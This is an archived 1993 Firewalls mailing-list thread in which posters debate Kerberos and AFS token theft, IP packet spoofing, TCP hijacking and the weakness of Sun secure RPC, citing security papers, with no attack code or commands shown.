-- Tom Fitzgerald Wang Labs, Lowell MA, USA fitz@wang.com 1-508-967-5278 From Firewalls-Owner Thu Oct 28 12:21:23 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA12729; Thu, 28 Oct 93 12:21:23 GMT Received: from alw.nih.gov by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA12719; Thu, 28 Oct 93 05:19:48 PDT Received: from kirin.dcrt.nih.gov by alw.nih.gov (5.61/1.35(alw-2.4)) id AA15218; Thu, 28 Oct 93 08:19:38 -0400 Received: by kirin.dcrt.nih.gov (4.1/3.15) id for Firewalls@greatcircle.com; Thu, 28 Oct 93 08:18:12 EDT Received: via switchmail; Thu, 28 Oct 1993 08:18:10 -0400 (EDT) Received: from kirin.dcrt.nih.gov via qmail ID ; Wed, 27 Oct 1993 19:12:49 -0400 (EDT) Received: from dude.dcrt.nih.gov via qmail ID ; Wed, 27 Oct 1993 19:12:37 -0400 (EDT) Received: from dude.dcrt.nih.gov via qmail ID ; Wed, 27 Oct 1993 19:12:34 -0400 (EDT) Received: from Messages.8.5.N.CUILIB.3.45.SNAP.NOT.LINKED.dude.dcrt.nih.gov.sun4c.411 via MS.5.6.dude.dcrt.nih.gov.sun4_41; Wed, 27 Oct 1993 19:12:34 -0400 (EDT) Message-Id: Date: Wed, 27 Oct 1993 19:12:34 -0400 (EDT) From: Bob Dew Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII To: richard@wizard.ucs.sfu.ca (Richard Chycoski) Subject: Re: System Security Cc: Firewalls@greatcircle.com In-Reply-To: <9310270608.AA03779@wizard.ucs.sfu.ca> References: <9310270608.AA03779@wizard.ucs.sfu.ca> Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Excerpts from Firewalls: 26-Oct-93 Re: System Security Richard Chycoski@wizard. (3341) > Core dumps are a favourite mode of attack used to extract Kerberos tokens > on a shared machine. One reference - a paper by Peter Honeyman presented > at the '92 Winter Usenix in San Francisco. I'll extract the appropriate > paragraphs for you if you'd like - I had a chance to talk to Peter > about this, and even he stated that Kerberos is still not secure on a > shared Unix platform. Other platforms that do not make the tokens available > via mechanisms such as core dumps may be more secure. Also, as I understand > it, it isn't easy to recover the tokens from the core dump, but it is still > possible to do it. (And as another contributor put it - AFS with Kerberos > looks like Fort Knox compared to NFS/NIS, a sentiment that I agree with > wholeheartedly.) Are core dumps really a favorite attack mechanism, or is this more or less an urban legend that has propagated from somebody's talk? I know that people have found tokens by examining core dumps (this was demonstrated at conference recently), but has anyone actually used this information to gain unauthorized access to a system? Lets say you've attained a core dump, somehow, and you've searched it and isolated a token. Then what? What would you do with a token if you had one? Call it your own, somehow, and insert it back into the kernel and begin using it? How? Would you try to de-crypt it? (Tokens are DES encrypted). Whatever you attempted, you'd need to hurry, because most user tokens live for at most 25 hours. Moreover, AFS tokens are tied to a process, not to a userid. When the process dies, the token dies along with it. If you create a new process (lets say a login shell), the mere fact of having a valid token -- even if you are the legitimate owner and current user of it -- won't help you in authenticating the new process. Users need to request new tokens for each UNIX process that starts outside of the original UNIX process authentication group (PAG). Nothing in the world will allow a second user to steal somebody's PAG-associated tokens and begin using them. I'm really curious why you think its easy, or even doable, to break into AFS on multiuser hosts. Sure, you could site poor kerberos implementations that common users can crack. But so what? Does that mean all kerberos implementations are insecure? Making a blanket statement and siting as fact that AFS is insecure on multiuser systems doesn't sit well with me. I'll admit to having heard some stories too...like the Doberman with the finger in its throat ... :-) Thanks, -Bob From Firewalls-Owner Thu Oct 28 14:37:14 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA12958; Thu, 28 Oct 93 14:37:14 GMT Received: from alw.nih.gov by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA12950; Thu, 28 Oct 93 07:37:05 PDT Received: from kirin.dcrt.nih.gov by alw.nih.gov (5.61/1.35(alw-2.4)) id AA17168; Thu, 28 Oct 93 10:40:31 -0400 Received: by kirin.dcrt.nih.gov (4.1/3.15) id for pmetzger@lehman.com; Thu, 28 Oct 93 10:40:28 EDT Received: via switchmail; Thu, 28 Oct 1993 10:40:28 -0400 (EDT) Received: from dude.dcrt.nih.gov via qmail ID ; Thu, 28 Oct 1993 10:39:51 -0400 (EDT) Received: from dude.dcrt.nih.gov via qmail ID ; Thu, 28 Oct 1993 10:39:49 -0400 (EDT) Received: from Messages.8.5.N.CUILIB.3.45.SNAP.NOT.LINKED.dude.dcrt.nih.gov.sun4c.411 via MS.5.6.dude.dcrt.nih.gov.sun4_41; Thu, 28 Oct 1993 10:39:49 -0400 (EDT) Message-Id: Date: Thu, 28 Oct 1993 10:39:49 -0400 (EDT) From: Bob Dew Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII To: pmetzger@lehman.com Subject: Re: System Security Cc: Firewalls@greatcircle.com In-Reply-To: <9310271612.AA26553@snark.lehman.com> References: <9310271612.AA26553@snark.lehman.com> Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >> You can run a cache manager remotely, using the rx protocol. > And such a setup eliminates any security because anyone can forge IP > packets and pretend to be the client workstation, yes. Case in point. > Perry I think you're generalizing too much, and being perhaps a bit simplistic. Running a remote cache manager may not be wise in some circumstances, but it makes a nice solution when the client is large (eg, a mainframe) and not of an architecture that supports AFS natively. Mainframes, being what they are, don't allow users root access and generally have enough political clout to justify a unique subnet number. The private subnet prevents other hosts from imitating the mainframe's IP conversations, and lack of root access prevents users from attempting imaginative spoofing techniques. If the authenticating AFS client, the "remote executor", is physically secured and configured so that it is protected from remote network access, then shared AFS access by mainframe users can be made quite secure. For added security, you could place the AFS executor right next to the mainframe, on the same private subnet, where you could keep an eye on it, and the router that its connected to. -Bob From Firewalls-Owner Thu Oct 28 15:07:37 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13130; Thu, 28 Oct 93 15:07:37 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13122; Thu, 28 Oct 93 08:07:27 PDT Received: from relay.lehman.com by lehman.com (8.6.3/LB 0.1) id LAA16580; Thu, 28 Oct 1993 11:11:17 -0400 Received: from snark.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA05609; Thu, 28 Oct 93 11:11:14 EDT Received: by snark.lehman.com (4.1/SMI-4.1) id AA02380; Thu, 28 Oct 93 11:11:12 EDT Message-Id: <9310281511.AA02380@snark.lehman.com> To: Bob Dew Cc: Firewalls@greatcircle.com Subject: Re: System Security In-Reply-To: Your message of "Wed, 27 Oct 1993 19:12:34 EDT." Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Date: Thu, 28 Oct 1993 11:11:11 -0400 From: "Perry E. Metzger" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Bob Dew says: > Lets say you've attained a core dump, somehow, and you've searched it > and isolated a token. Then what? What would you do with a token if you > had one? Call it your own, somehow, and insert it back into the kernel > and begin using it? How? Would you try to de-crypt it? (Tokens are DES > encrypted). No they aren't. You don't understand how Kerberos works. The ticket is SENT to you encrypted -- your password is used to DECRYPT it. Were it not for that, you would have to type in your password to decrypt the ticket every time you wanted to perform the smallest operation, or the key to decrypt it would have to be stored on the machine (which would effectively mean that there was no point in storing the ticket encrypted in the first place). Yes, the way you steal tickets is you get someone elses and then masquerade as them. Once you have their tickets, you can do anything they can do. > Whatever you attempted, you'd need to hurry, because most > user tokens live for at most 25 hours. So what? You think that 25 hours isn't a pretty wide period to work in? Given the right privs for about 15 minutes I could reduce my network to a smouldering ruin. > If you create a new process (lets say a login shell), the mere > fact of having a valid token -- even if you are the legitimate owner and > current user of it -- won't help you in authenticating the new process. Please learn how Kerberos works before embarassing yourself with more pronouncements. You are confusing the way that AFS deals with kerbersos with the way that kerberos itself works. A remote entity cannot know which process is using a ticket -- it can only know that the remote entity has the ticket and thus appears to be a legitimate user of services. Once you have the ticket, you can masquerade at will. Perry From Firewalls-Owner Thu Oct 28 15:21:11 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13153; Thu, 28 Oct 93 15:21:11 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13145; Thu, 28 Oct 93 08:21:00 PDT Received: from relay.lehman.com by lehman.com (8.6.3/LB 0.1) id LAA16813; Thu, 28 Oct 1993 11:24:49 -0400 Received: from snark.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA06006; Thu, 28 Oct 93 11:24:44 EDT Received: by snark.lehman.com (4.1/SMI-4.1) id AA02415; Thu, 28 Oct 93 11:24:41 EDT Message-Id: <9310281524.AA02415@snark.lehman.com> To: Bob Dew Cc: Firewalls@greatcircle.com Subject: Re: System Security In-Reply-To: Your message of "Thu, 28 Oct 1993 10:39:49 EDT." Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Date: Thu, 28 Oct 1993 11:24:41 -0400 From: "Perry E. Metzger" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Bob Dew says: > Mainframes, being what they are, don't allow users root access and > generally have enough political clout to justify a unique subnet number. > The private subnet prevents other hosts from imitating the mainframe's > IP conversations, Huh? What would make you think this? Everyone on this list should get through their heads that wires are insecure, and that anyone can forge packets. Data going over a wire without cryptographic authentication is always insecure, barring complete physical control over the entire line at all times. Few sites can afford to place an armed guard every five feet. Most sites have a PC here and there already on their networks. Intelligent users abound. I remember how we didn't take X security seriously around here ("none of our users could know how to tap X sessions" was the attitude) until someone posted an X keystroke recorder to the net, and some of our users started fooling around with it. There are a dozen packages out there that could be modified very easily to allow anyone who's got a link to your ethernet to start spoofing you in a big way. "private subnet numbers" mean squat. A "private subnet number" is as easy to stick into an IP header as any other number. Bits are bits are bits. > If the authenticating AFS client, the > "remote executor", is physically secured and configured so that it is > protected from remote network access, Nothing will prevent spoofing by a determined attacker other than cryptographic techiniques. NOTHING. If you accept datagrams over a network for which you do not have absolute control over every machine and every inch of network line, you cannot trust the network. Recently, we've been having trouble with internal mainframe types who don't think they need cryptographic techniques because they have RACF. They don't understand that networks are almost inherently insecure without cryptography and that they can't automatically trust what another machine claims. > For added security, you could > place the AFS executor right next to the mainframe, on the same private > subnet, where you could keep an eye on it, and the router that its > connected to. It might take a little more work, but I suspect I can spoof even that, from another network, with a few well placed ICMP messages and some tricky packet forging. Perry From Firewalls-Owner Thu Oct 28 16:04:38 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13323; Thu, 28 Oct 93 16:04:38 GMT Received: from alw.nih.gov by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13315; Thu, 28 Oct 93 09:04:23 PDT Received: from kirin.dcrt.nih.gov by alw.nih.gov (5.61/1.35(alw-2.4)) id AA18368; Thu, 28 Oct 93 12:08:08 -0400 Received: by kirin.dcrt.nih.gov (4.1/3.15) id for pmetzger@lehman.com; Thu, 28 Oct 93 12:08:06 EDT Received: via switchmail; Thu, 28 Oct 1993 12:08:05 -0400 (EDT) Received: from dude.dcrt.nih.gov via qmail ID ; Thu, 28 Oct 1993 12:06:43 -0400 (EDT) Received: from dude.dcrt.nih.gov via qmail ID ; Thu, 28 Oct 1993 12:06:41 -0400 (EDT) Received: from Messages.8.5.N.CUILIB.3.45.SNAP.NOT.LINKED.dude.dcrt.nih.gov.sun4c.411 via MS.5.6.dude.dcrt.nih.gov.sun4_41; Thu, 28 Oct 1993 12:06:41 -0400 (EDT) Message-Id: Date: Thu, 28 Oct 1993 12:06:41 -0400 (EDT) From: Bob Dew Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII To: pmetzger@lehman.com Subject: Re: System Security Cc: Firewalls@greatcircle.com In-Reply-To: <9310281511.AA02380@snark.lehman.com> References: <9310281511.AA02380@snark.lehman.com> Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Excerpts from Firewalls: 28-Oct-93 Re: System Security "Perry E. Metzger"@lehma (1818) > (Tokens are DES > > encrypted). > No they aren't. You don't understand how Kerberos works. The ticket is > SENT to you encrypted -- your password is used to DECRYPT it. Were it > not for that, you would have to type in your password to decrypt the > ticket every time you wanted to perform the smallest operation, or the > key to decrypt it would have to be stored on the machine (which would > effectively mean that there was no point in storing the ticket > encrypted in the first place). I understand how kerberos works. Do you understand how AFS works? A "ticket" is proof of mutual authentication between the client and server. It is encrypted by the ticket granter with the server encryption key -- the client cannot decrypt the ticket. A "session key" is also encrypted by the server, using a second encryption key. This is a shared secret between the client and server, and involves mutual authentication. The ticket, the session key, a time stamp, and other information are all sealed in a package known as a "token". The token is encrypted on the server by a third encryption key, and sent back to the client. The token encryption key is derived from the user's password, among other things. > Please learn how Kerberos works before embarassing yourself with more > pronouncements. You are confusing the way that AFS deals with > kerbersos with the way that kerberos itself works. A remote entity > cannot know which process is using a ticket -- it can only know that > the remote entity has the ticket and thus appears to be a legitimate > user of services. Once you have the ticket, you can masquerade at > will. > Perry AFS authentication servers don't understand kerberos tickets -- only AFS tokens. -Bob PS: You should learn how spell words like "embarrassing", if you're tempted to use that kind of language in a public forum. From Firewalls-Owner Thu Oct 28 16:19:34 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13351; Thu, 28 Oct 93 16:19:34 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13343; Thu, 28 Oct 93 09:19:22 PDT Received: from relay.lehman.com by lehman.com (8.6.3/LB 0.1) id MAA17388; Thu, 28 Oct 1993 12:23:16 -0400 Received: from snark.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA07798; Thu, 28 Oct 93 12:23:15 EDT Received: by snark.lehman.com (4.1/SMI-4.1) id AA02527; Thu, 28 Oct 93 12:23:14 EDT Message-Id: <9310281623.AA02527@snark.lehman.com> To: Firewalls@greatcircle.com Subject: Re: System Security In-Reply-To: Your message of "Thu, 28 Oct 1993 12:06:41 EDT." Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Date: Thu, 28 Oct 1993 12:23:13 -0400 From: "Perry E. Metzger" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Bob Dew says: > AFS authentication servers don't understand kerberos tickets -- only AFS > tokens. "Tokens" are effectively just tickets -- they can be stolen as well as anything else. Lets go back to basics, shall we? How does the foreign host know you are who you say you are? Because you possess a shared secret. What happens when I steal your tokens? I've stolen that shared secret. The computer at the other end of the wire has no other way of knowing you are who you say you are beyond your possession of that secret. Anything else can be forged. IP source addresses are easily forged. Protocols are easily reverse engineered. The only guarantee you have of security is that a shared secret remains secret -- once it is no longer secret there is no longer any assurance of security at all. If your security relies on something other than a shared secret or a public/private key pair, such as your mythical protection because of "private subnet numbers" and a belief that someone couldn't forge IP datagrams and spoof your routers, well, there is no security in your system any more -- only an elaborate hoax you have pulled on yourself. This is all very simple. So simple, in fact, that I refuse to pollute bandwidth here by continuing the discussion. I'm sure most members of the list got the point a long while ago and I don't want to bore them any longer. Perry From Firewalls-Owner Thu Oct 28 16:20:43 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13370; Thu, 28 Oct 93 16:20:43 GMT Received: from alw.nih.gov by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13362; Thu, 28 Oct 93 09:20:33 PDT Received: from kirin.dcrt.nih.gov by alw.nih.gov (5.61/1.35(alw-2.4)) id AA18646; Thu, 28 Oct 93 12:24:25 -0400 Received: by kirin.dcrt.nih.gov (4.1/3.15) id for pmetzger@lehman.com; Thu, 28 Oct 93 12:24:22 EDT Received: via switchmail; Thu, 28 Oct 1993 12:24:22 -0400 (EDT) Received: from dude.dcrt.nih.gov via qmail ID ; Thu, 28 Oct 1993 12:24:11 -0400 (EDT) Received: from dude.dcrt.nih.gov via qmail ID ; Thu, 28 Oct 1993 12:24:09 -0400 (EDT) Received: from Messages.8.5.N.CUILIB.3.45.SNAP.NOT.LINKED.dude.dcrt.nih.gov.sun4c.411 via MS.5.6.dude.dcrt.nih.gov.sun4_41; Thu, 28 Oct 1993 12:24:08 -0400 (EDT) Message-Id: Date: Thu, 28 Oct 1993 12:24:08 -0400 (EDT) From: Bob Dew Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII To: pmetzger@lehman.com Subject: Re: System Security Cc: Firewalls@greatcircle.com In-Reply-To: <9310281524.AA02415@snark.lehman.com> References: <9310281524.AA02415@snark.lehman.com> Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Excerpts from Firewalls: 28-Oct-93 Re: System Security "Perry E. Metzger"@lehma (2335) > Everyone on this list should get through their heads that wires are > insecure, and that anyone can forge packets. Data going over a wire > without cryptographic authentication is always insecure, barring > complete physical control over the entire line at all times. Few sites > can afford to place an armed guard every five feet. Most sites have a > PC here and there already on their networks. Intelligent users abound. > I remember how we didn't take X security seriously around here ("none > of our users could know how to tap X sessions" was the attitude) until > someone posted an X keystroke recorder to the net, and some of our > users started fooling around with it. There are a dozen packages out > there that could be modified very easily to allow anyone who's got a > link to your ethernet to start spoofing you in a big way. "private > subnet numbers" mean squat. A "private subnet number" is as easy to > stick into an IP header as any other number. Bits are bits are bits. Everyone on this list should take a course in basic networking. Spoofing a packet won't do you a bit of good if nobody will route it. Try faking a subnet number on a return packet header, and see how far that gets you. Try tunneling, or any other method. Unless you have a key (a metal one) to enter the room that houses the mainframe and its router, you're not going to get in (actually, you can enter, but you can never leave, as the song goes). -Bob From Firewalls-Owner Thu Oct 28 16:36:23 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13435; Thu, 28 Oct 93 16:36:23 GMT Received: from alpha.CES.CWRU.Edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13427; Thu, 28 Oct 93 09:36:13 PDT Received: from sentinel.CES.CWRU.Edu by alpha.CES.CWRU.Edu with SMTP (5.64+/ane.07.08.91.01) id AA21729; Thu, 28 Oct 93 12:40:07 -0400 Date: Thu, 28 Oct 93 12:40:07 -0400 From: Aydin Edguer Message-Id: <9310281640.AA21729@alpha.CES.CWRU.Edu> To: Firewalls@GreatCircle.COM Subject: kerberos (was Re: System Security) Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Rather than going back and forth, might I refer anyone interested to the documents available on the subject of Kerberos security [and AFS]. Kerberos: An Authentication Service for Open Network Systems Jennifer G. Steiner, Clifford Neuman, Jeffrey I. Schiller athena-dist.mit.edu:/pub/kerberos/doc/usenix.PS Limitations of the Kerberos Authentication System Steven M. Bellovin, Michael Merritt research.att.com:/dist/internet_security/kerblimit.usenix.ps Hijacking AFS P. Honeyman, L.B. Huston, M.T. Stolarchuk ftp.sage.usenix.org:/pub/usenix/winter92/hijacking-afs.ps.Z A bibliography of other papers and information can be found in the comp.protocols.kerberos FAQ - "Kerberos Users' Frequently Asked Questions" which is available for via ftp from: rtfm.mit.edu:/pub/usenet/news.answers/kerberos-faq/user Aydin From Firewalls-Owner Thu Oct 28 17:15:17 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13597; Thu, 28 Oct 93 17:15:17 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13568; Thu, 28 Oct 93 10:14:56 PDT Received: from relay.lehman.com by lehman.com (8.6.3/LB 0.1) id NAA17959; Thu, 28 Oct 1993 13:18:41 -0400 Received: from snark.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA09069; Thu, 28 Oct 93 13:18:39 EDT Received: by snark.lehman.com (4.1/SMI-4.1) id AA02574; Thu, 28 Oct 93 13:18:39 EDT Message-Id: <9310281718.AA02574@snark.lehman.com> To: Bob Dew Cc: Firewalls@greatcircle.com Subject: Re: System Security In-Reply-To: Your message of "Thu, 28 Oct 1993 12:24:08 EDT." Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Date: Thu, 28 Oct 1993 13:18:38 -0400 From: "Perry E. Metzger" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I know, I know, I promised not to say more, but this is about the network and not about kerberos. Bob Dew says: > Everyone on this list should take a course in basic networking. > Spoofing a packet won't do you a bit of good if nobody will route it. > Try faking a subnet number on a return packet header, and see how far > that gets you. Very far if you know what you are doing. See the topics "source routes", "routing protocols" (most of which are unauthenticated, and thus spoofable), Internet Control Message Protocol (which lets you do all sorts of fun and unexpected things), and other topics you apparently forgot to read up on in you basic networking course. Bellcore once discovered to its horror that its supposedly secure internet link was NOT immune to these attacks (it has since been fixed). There ARE ways to keep a line secure from the sorts of spoofing I am talking about, but the statements you have made thus far suggest to me that you wouldn't know what the issues are. Suffice it to say, however, that whenever your network relies on unauthenticated information coming over the wire for network control information the network itself is vulnerable, and most IP implementations do in fact blindly rely on such information unless they are explicitly told not to. This is REALLY my last word on the subject. Anyone wishing further information is invited to write to me by private email. If necessary, I will explain to you, step by step, how to break Bob's supposedly secure mainframe to workstation link, and likely how to keep it secure from those attacks -- not that its sufficient for true security to keep just that one link secure, especially given the "swiss cheese" nature of security on the average mainframe. Perry From Firewalls-Owner Thu Oct 28 17:23:36 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13632; Thu, 28 Oct 93 17:23:36 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13624; Thu, 28 Oct 93 10:23:19 PDT Received: from relay.lehman.com by lehman.com (8.6.3/LB 0.1) id NAA18071; Thu, 28 Oct 1993 13:27:17 -0400 Received: from snark.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA09214; Thu, 28 Oct 93 13:27:16 EDT Received: by snark.lehman.com (4.1/SMI-4.1) id AA02591; Thu, 28 Oct 93 13:27:15 EDT Message-Id: <9310281727.AA02591@snark.lehman.com> To: firewalls@greatcircle.com Subject: Re: kerberos (was Re: System Security) In-Reply-To: Your message of "Thu, 28 Oct 1993 12:40:07 EDT." <9310281640.AA21729@alpha.CES.CWRU.Edu> Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Date: Thu, 28 Oct 1993 13:27:14 -0400 From: "Perry E. Metzger" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Aydin Edguer says: > Rather than going back and forth, might I refer anyone interested to > the documents available on the subject of Kerberos security [and AFS]. I would also seriously suggest Steve Bellovin's paper on IP security problems, "Security Problems in the TCP/IP Protocol Suite", available for anonymous FTP from research.att.com. Perry From Firewalls-Owner Thu Oct 28 17:29:11 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13673; Thu, 28 Oct 93 17:29:11 GMT Received: from mercury.house.gov by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13665; Thu, 28 Oct 93 10:28:57 PDT Received: from cobalt.house.gov by mercury.house.gov with SMTP (1.37.109.4/16.2) id AA03743; Thu, 28 Oct 93 13:26:53 -0400 Received: by cobalt.house.gov (AA10226); Thu, 28 Oct 93 12:32:38 -0700 Date: Thu, 28 Oct 93 12:32:38 -0700 From: Dorian Deane Message-Id: <9310281932.AA10226@cobalt.house.gov> To: pmetzger@lehman.com, rdew@alw.nih.gov Subject: Re: System Security Cc: Firewalls@GreatCircle.COM Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > From: Bob Dew > > Excerpts from Firewalls: 28-Oct-93 Re: System Security "Perry E. > Metzger"@lehma (2335) > > > > Everyone on this list should get through their heads that wires are > > insecure, and that anyone can forge packets. Data going over a wire > > Everyone on this list should take a course in basic networking. > -Bob > Hey! How did the rest of us get involved!!?? :.) dorian From Firewalls-Owner Thu Oct 28 18:36:48 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA14003; Thu, 28 Oct 93 18:36:48 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13993; Thu, 28 Oct 93 11:36:12 PDT Received: from relay.lehman.com by lehman.com (8.6.3/LB 0.1) id OAA19052; Thu, 28 Oct 1993 14:39:53 -0400 Received: from snark.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA11296; Thu, 28 Oct 93 14:39:49 EDT Received: by snark.lehman.com (4.1/SMI-4.1) id AA02642; Thu, 28 Oct 93 14:39:48 EDT Message-Id: <9310281839.AA02642@snark.lehman.com> To: Firewalls@greatcircle.com, Neil Readwin Cc: pmetzger@lehman.com Subject: Re: System Security In-Reply-To: Your message of "Thu, 28 Oct 1993 17:44:24 GMT." <9310281744.aa18067@ladon.micrognosis.co.uk> Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Date: Thu, 28 Oct 1993 14:39:47 -0400 From: "Perry E. Metzger" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Neil Readwin says: > Imagine you're running NFS and I send you unlink RPC calls and you send > all the ACKs back to another machine. I can't get a data back out but I > can destroy your disks. > > I don't know enough about NFS/RPC to know if the above would work, but I > could design a protocol in which it would work so the fact that traffic > only goes in is not *necessarily* any protection. It might work, but you'd have to be tricky about it. Inode generation numbers are randomized when disks get built. However, the random number generators in question are rather poor and thus you can probably spoof the connections. There should be ways to do this sort of thing as well -- NFS is so low on security that I've never bothered to look at it in detail -- it would be like trying to look for new holes in a sieve. Also, there are ways to hijack TCP connections even if you can only get half the connection -- see Bellovin's paper on security in the TCP/IP suite. Beyond this, if your network hosts comply with the host requirements RFC on how to handle source routed packets, you can pretend to be any machine on the network at will -- John Ioannidis has in fact built a virtual interface for BSD style TCP/IP that will let you do this conveniently. IP isn't a secure protocol. It was never meant to be. If you need to trust information, make sure the information is cryptographically authenticated. If you can't cryptographically authenticate it, you shouldn't trust it. By the way, for those of you who think that Sun's "secure RPC" based on Diffie-Hellman key exchange is secure, think again -- it turns out that its trivially broken, because of especially bad implementation choices. (I nearly fell over laughing when I read a paper on the subject -- see "Computation of Discrete Logarithms in Prime Fields" by LaMacchia and Odlyzko of Bell Labs. Turns out that with a little precomputation you can break "secure" (ha!) RPCs with about as much effort as it takes to crack open walnuts.) So when you trust cryptography, be sure you are trusting GOOD cryptography. All this is even more reason to be as paranoid as humanly possible when building firewalls. Some may call me paranoid, and some may say that all the effort involved in making your systems secure isn't worth the cost. However... 1) Not having security can cost you your network, and 2) Cryptography is very cheap in the scheme of things, and good cryptography costs no more than bad cryptography. Perry From Firewalls-Owner Thu Oct 28 19:40:00 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA14260; Thu, 28 Oct 93 19:40:00 GMT Received: from tadpole.Tadpole.COM by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA14251; Thu, 28 Oct 93 12:39:51 PDT Received: from chiba.tadpole.com by tadpole.Tadpole.COM (4.1/SMI-4.1) id AA15079; Thu, 28 Oct 93 14:43:31 CDT Received: by chiba.tadpole.com (5.0/SMI-SVR4) id AA02404; Thu, 28 Oct 1993 14:40:08 +0600 Date: Thu, 28 Oct 1993 14:40:08 +0600 From: jim@Tadpole.COM (Jim Thompson) Message-Id: <9310281940.AA02404@chiba.tadpole.com> To: Firewalls@GreatCircle.COM, nreadwin@micrognosis.co.uk, pmetzger@lehman.com Subject: Re: System Security Content-Length: 113 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk The IP security working group thinks they can make IP a secure protocol, and JI is part of that group. :-) Jim From Firewalls-Owner Thu Oct 28 20:39:38 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA14705; Thu, 28 Oct 93 20:39:38 GMT Received: from research.att.com (ninet.research.att.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA14697; Thu, 28 Oct 93 13:39:29 PDT Message-Id: <9310282039.AA14697@mycroft.GreatCircle.COM> From: smb@research.att.com Received: by gryphon; Thu Oct 28 16:40:25 EDT 1993 To: pmetzger@lehman.com Cc: Firewalls@GreatCircle.COM, Neil Readwin Subject: Re: System Security Date: Thu, 28 Oct 93 16:40:24 EDT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Also, there are ways to hijack TCP connections even if you can only get half the connection -- see Bellovin's paper on security in the TCP/IP suite. Since folks have asked -- see /dist/internet_security/ipext.ps.Z on research.att.com. And since the next question is ``where do I get the R.T. Morris report'', it's in /netlib/research/cstr/117.Z on the same machine. From Firewalls-Owner Thu Oct 28 20:49:11 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA14740; Thu, 28 Oct 93 20:49:11 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA14732; Thu, 28 Oct 93 13:48:54 PDT Received: from relay.lehman.com by lehman.com (8.6.3/LB 0.1) id QAA20930; Thu, 28 Oct 1993 16:52:46 -0400 Received: from snark.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA14074; Thu, 28 Oct 93 16:52:40 EDT Received: by snark.lehman.com (4.1/SMI-4.1) id AA02896; Thu, 28 Oct 93 16:52:38 EDT Message-Id: <9310282052.AA02896@snark.lehman.com> To: firewalls@greatcircle.com Subject: Re: System Security In-Reply-To: Your message of "Thu, 28 Oct 1993 16:40:24 EDT." <199310282041.QAA20763@lehman.com> Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Date: Thu, 28 Oct 1993 16:52:38 -0400 From: "Perry E. Metzger" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk smb@research.att.com says: > Also, there are ways to hijack TCP connections even if you can 